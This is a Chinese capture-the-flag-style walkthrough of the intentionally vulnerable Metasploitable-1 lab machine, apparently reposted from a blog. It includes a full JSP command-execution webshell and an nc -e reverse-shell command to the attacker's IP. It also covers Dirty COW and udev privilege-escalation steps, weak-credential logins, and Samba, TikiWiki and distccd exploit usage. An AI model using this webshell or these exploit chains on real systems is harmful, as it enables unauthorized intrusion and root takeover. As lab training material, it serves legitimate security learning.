Vulnhub metasploitable-1
总结:tomcat后台getshll,脏牛提权,秘钥对对比ssh免密登录,samba cve-2007-2447,tikiwiki1.9.5,distccd后门CVE-2004-2687,cve-2009-1185提权
目录
下载地址
- Metasploitable.zip (Size: 545 MB)
- Download (Mirror): https://download.vulnhub.com/metasploitable/Metasploitable.zip
使用方法:解压以后选择vmx后缀的文件,直接选择vm打开就可以了。
漏洞分析
信息收集
给靶机设置一个快照
fping -agq 192.168.31.0/24 使用fping快速扫描该网段中存活的机子
将靶机关闭重新扫描一下,对比少的那个ip就是靶机的ip
使用快照快速将靶机恢复
注:ip段要看自己的
经过扫描发现了很多端口,这里使用-sV -O重新扫一下。
这里发现了不少感觉可以利用的东西,这里首先我们知道了这是一个linux,然后有三个网站,然后发现其中一个是tomcat的,这个可以稍微注意注意,然后还开启了samba服务这个也是需要注意的。
漏洞1
首先查看第一个网站就是80端口。
It works!这个让我想到了一个漏洞,apache的目录遍历和任意命令执行就是CVE-2021-42013,但是经过尝试并没有发现该漏洞,后面继续寻找并没有发现什么东西,这里查看第二网站发现访问不了,然后看看第三个tomcat。
这里我首先查看有没有后台/manager,但是并没有发现,这里尝试点击旁边发现都是可以登录,这里是用弱口令tomcat/tomcat,都可以登录进去,然后再旁边发现了Tomcat Manager这里看看。
然后再这里我们可以将木马打包上传上去
jsp的可回显马,将他打包成war上传。
<% if("123".equals(request.getParameter("pwd"))){ java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream(); int a = -1; byte[] b = new byte[2048]; out.print(""); while((a=in.read(b))!=-1){ out.println(new String(b)); } out.print("
"); }%>
然后我们访问
靶机ip/war包名称/jsp马完整名字
http://192.168.31.214:8180/aaa/1.jsp?pwd=123&cmd=id
像上面那样,但是这里查看id发现权限不搞,这里反弹shell回来看看。
http://192.168.31.214:8180/aaa/1.jsp?pwd=123&cmd=nc%20-e%20/bin/bash%20192.168.31.120%204444//注意不要照抄看看自己的ip
这里很容易就反弹回来了,然后并没有发现什么有用的东西,这里看看内核。
uname -a
经过查询这里提示可以使用脏牛提权这里我们试试。
这里我们将东西下过自己先编译好
g++ -Wall -PEDANTIC -O2 -std=c++11 -pthread -o dcow dcow.cpp -lutil或者make
这里我们将编译好的dcow复制到www目录中
然后开启Python3的临时网站
python3:python3 -m http.serverpython2:python - m SimpleHTTPServer#从那边开启那边就是根目录,我这里是/var/www
然后来到靶机这里使用wget复制过去
wget http://192.168.31.120:8000/dcow
但是又出现一个问题就是好像执行不了。
这里接下来去想想其他解决方法,最后在/root/.ssh目录中发现了一个公钥文件,经过学长的提醒知道了这个在低版本中也是可以利用。
因为这里版本较低,然后是猜测存在openssl软件包伪随机数泄露,这里将那个包下载过来。
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/5622.tar.bz2(debian_ssh_rsa_2048_x86.tar.bz2)
这里使用tar jxvf解压,然后来到/rsa/2048目录下面。
grep -l AAAAB3NzaC1yc2EAAAABIwAAAQEApmGJFZNl0ibMNALQx7M6sGGoi4KNmj6PVxpbpG70lShHQqldJkcteZZdPFSbW76IUiPR0Oh+WBV0x1c6iPL/0zUYFHyFKAz1e6/5teoweG1jr2qOffdomVhvXXvSjGaSFwwOYB8R0QxsOWWTQTYSeBa66X6e777GVkHCDLYgZSo8wWr5JXln/Tw7XotowHr8FEGvw2zW1krU3Zo9Bzp0e0ac2U+qUGIzIu/WwgztLZs5/D9IyhtRWocyQPE+kcP+Jz2mt4y1uA73KqoXfdw5oGUkxdFo9f1nu2OwkjOc+Wv8Vw7bwkf+1RgiOMgiJ5cCs4WocyVxsXovcNnbALTp3w== msfadmin@metasploitable *.pub//使用命令查找
这个对应是有一个私钥文件的,就是没有这个后缀的一个文件。
然后我们直接通过私钥就可以登录了,然后我们直接就登录进root了。
漏洞2
还记得但是我们信息收集的东西吗,里面是还有samba服务的,这里直接使用msf试试。
我这里使用exploit/linux/samba/is_known_pipename盲打了一下,但是没有成功。
这里要善用搜索引擎,这里搜索一下看看有没有什么其他漏洞看看,这里就已经提示了cve-2007-2447,这里查看一下知道了,在msf中可以直接利用是exploit/multi/samba/usermap_script,这里我们看看。
没想到直接就打进去了,还是一个root权限
漏洞3
这里我们继续查看80端口的网站,感觉应该还是有东西的,这里使用dirsearch扫一下目录看看吗,然后就发现了tikiwiki这个可疑目录,我记得这是一个cms,需要注意注意。
这进去以后,发现有一个登录的地方,直接admin/admin就可以搞进去了,但是里面没有发现什么东西,这里我们也知道了,它的版本是tikiwiki1.9.5,这个也算是很早之前的版本了,这里善用搜索引擎。
这里找到一个工具,GitHub上的
//使用git复制过来git clone https://github.com/caique-garbim/TikiWiki_1.9.5_Exploit//进去cd TikiWiki_1.9.5_Exploit//然后执行exp//主要是自己的靶机ipbash tikiwiki_graph_formula_exec.sh http://192.168.31.214/tikiwiki///然后获得反弹回来的shell//注意这个也是靶机的ipnc -vn 192.168.31.214 1337
这里也是直接就把shell反弹回来了。
接下来又是要提权了,这里还是感觉是脏牛提权,这里继续尝试,使用另一个dirty.c,这里因为靶机不知道出什么问题wget下载不过来,这里先下载到本地。
//自己可以在靶机中试试,可以的话,就直接到编译哪一步wget https://raw.githubusercontent.com/FireFart/dirtycow/master/dirty.c//使用Python开启临时网站python3 -m http.server//靶机下载本机的dirty.c过来//注意要看自己的ipwget http://192.168.31.120:8000/dirty.c//编译gcc -pthread dirty.c -lcrypt -o dirty//给权限chmod +x dirty//执行./dirty
注意执行以后他就会叫我们输入密码,这里看自己,出现下面那个用户就可以了
这里我的就是firefart:123456
直接另开窗口ssh连接,这里我们看到我们也是root权限了。
漏洞4
之前nmap扫的时候,还发现mysql,这里直接试试,没想到弱口令直接就进去了。
但是经过尝试发现好像这个现在并没有什么卵用,写不了马,执行不了命令,提不了权。
但是在重新nmap时,加入-p-,从而发现了一个新的端口
这里使用nmap自带的漏洞脚本再扫一遍,这时候发现他是有一个cve的漏洞的,这里进入msf看看。
搜索以后还是发现了一个可以利用的,这里进去利用看看。
这里发现可以但是并没有利用成功,这里查看了半天并没有发现有什么不对,这里去github中重新寻找一份工具。
这里找到一个工具,我们直接使用git给他复制过来,记得脚本是需要pwn模块的,没有可以pip安装一下。
https://github.com/k4miyo/CVE-2004-2687
这个就利用成功了,然后就是使用方法,可以-h看一下
--rhost 靶机地址 --rport 漏洞端口 --lhost 自己的ip --lport 设置回显的端口
因为不是最高权限,这里我们要提权,这里还是找一个不一样的提权,这里还是看看内核。
这里我们使用searchsploit查查看。
这里我们看到第三个,我们尝试一下这个,同时也知道了这个是cve-2009-1185.
我们这里就可以看到这个exp的位置。
这里我们复制到桌面,同时使用python开启一个临时网站。
因为那个界面回显是不具体的,这里我们重新反弹一个shell
这时候我们才能wget过来,具体使用步骤可以参考linux内核提权
//wget过来wget http://192.168.31.120:8000/8572.c//编译gcc -o 8572 8572.c
但是后面经过尝试是搞不了的,这里使用另一个。
和原来的操作一样复制到桌面上,使用临时网站搞过去。
然后给他执行的权限,chmod +x 8478.sh
然后查看里面知道要netlink这个文件,然后搞里面不是零的pid。
我们要找到 Netlink 套接字的 PID,这个 PID 通常比 UDEVD 的 PID 小1。我们使用 cat /proc/net/netlink 命令来查看 PID,唯一的非0的 PID 就是我们想要的数字。我们可以验证这个 PID 是否正确,使用 ps aux | grep udev 来查看 UDEVD 的 PID
获得pid以后,执行需要等一会,然后就是root了。
来源地址:https://blog.csdn.net/m0_64815693/article/details/128892648
免责声明:
① 本站未注明“稿件来源”的信息均来自网络整理。其文字、图片和音视频稿件的所属权归原作者所有。本站收集整理出于非商业性的教育和科研之目的,并不意味着本站赞同其观点或证实其内容的真实性。仅作为临时的测试数据,供内部测试之用。本站并未授权任何人以任何方式主动获取本站任何信息。
② 本站未注明“稿件来源”的临时测试数据将在测试完成后最终做删除处理。有问题或投稿请发送至: 邮箱/279061341@qq.com QQ/279061341